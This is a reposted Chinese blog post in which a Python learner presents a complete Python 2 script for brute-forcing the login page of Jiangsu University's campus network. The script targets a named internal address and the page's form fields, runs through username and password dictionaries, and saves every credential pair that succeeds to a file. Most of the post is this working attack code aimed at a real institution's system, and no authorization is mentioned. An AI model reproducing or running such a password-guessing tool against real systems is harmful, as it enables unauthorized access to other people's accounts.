基於Python的江蘇大學校園網暴力破解
阿新 • • 發佈:2019-01-23
Python是近幾年比較流行的解釋型語言。Python是純粹的自由軟體,原始碼和直譯器CPython遵循GPL的協議。最近有在學習Python,作為Python的入門的新手拿學校的校園網登陸練練手。
總體的設計思路:
1.模擬瀏覽器的器開啟登陸網頁
2.構造登陸表單
表單選項:使用者名稱 "DDDDD",密碼"upass",空選項“0KKey”
3.構造字典,字典構造工具比較多,大家可以自行選擇
4.依據字典嘗試登陸,對返回值進行判斷
4如果登陸成功,則.將正確的使用者名稱和密碼存入檔案
一下是原始碼部分:
__author__ = 'qianqiangV' #coding:utf-8 import sys import os import urllib2 import urllib import getopt def get_opt(): user='' password='' try: opts,args=getopt.getopt(sys.argv[1:],"hu:p:") for opt,value in opts: if opt=="-u": if value!=None: user=value elif opt=="-p": if value!=None: password=value return [user,password] except getopt.GetoptError: print 'error' def crack_login(user,password): url='http://192.168.100.83/0.htm' header={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0'} form={'DDDDD':user,'upass':password,'0MKKey':''} form2=urllib.urlencode(form) request=urllib2.Request(headers=header,url=url,data=form2) response=urllib2.urlopen(request) html=response.read() return html.find('Msg')<0 def crack(user_file,pass_file): wuser_pass=open('user_pass.txt','w') if user_file.find('.txt')>0: try: userfile=open(user_file,'r') except IOError,e: print 'IOerror',e else: for eachuser in userfile: eachuser=eachuser.strip() print 'try'+' '+eachuser+' '+pass_file if crack_login(eachuser,pass_file): wuser_pass.writelines(eachuser+' '+pass_file+os.linesep) if pass_file.find('.txt')>0: try: passfile=open(pass_file,'r') except IOError,e: print 'IOError',e else: for eachpass in passfile: eachpass=eachpass.strip() print 'try'+' '+eachuser+' '+eachpass if crack_login(eachuser,eachpass): wuser_pass.writelines(eachuser+' '+eachpass+os.linesep) passfile.close() userfile.close() else: print 'try'+' '+user_file+' '+pass_file if crack_login(user_file,pass_file): wuser_pass.writelines(user_file+' '+pass_file+os.linesep) if pass_file.find('.txt')>0: try: passfile=open(pass_file,'r') except IOError,e: print 'IOError',e else: for eachpass in passfile: eachpass=eachpass.strip() print 'try'+' '+user_file+' '+eachpass.strip() if crack_login(user_file,eachpass): wuser_pass.writelines(user_file+' '+eachpass+os.linesep) passfile.close() def main(): user_pass=get_opt() print user_pass[0],user_pass[1] crack(user_pass[0],user_pass[1]) main()
執行程式:
使用者字典:user.txt
密碼字典:pass.txt
-u:選項後面可以跟使用者名稱或者使用者字典
-p:選項後面可以跟密碼或者密碼字典
程式會將傳入的引數都進行嘗試
使用者字典:
密碼字典:
我在使用者字典和密碼字典放入了一個正確的使用者名稱和密碼
執行中:
執行結果:將正確的使用者名稱和密碼寫入到.txt中
暴力破解的相關原理,可以檢視我在前面一片文章寫的關於hydra的使用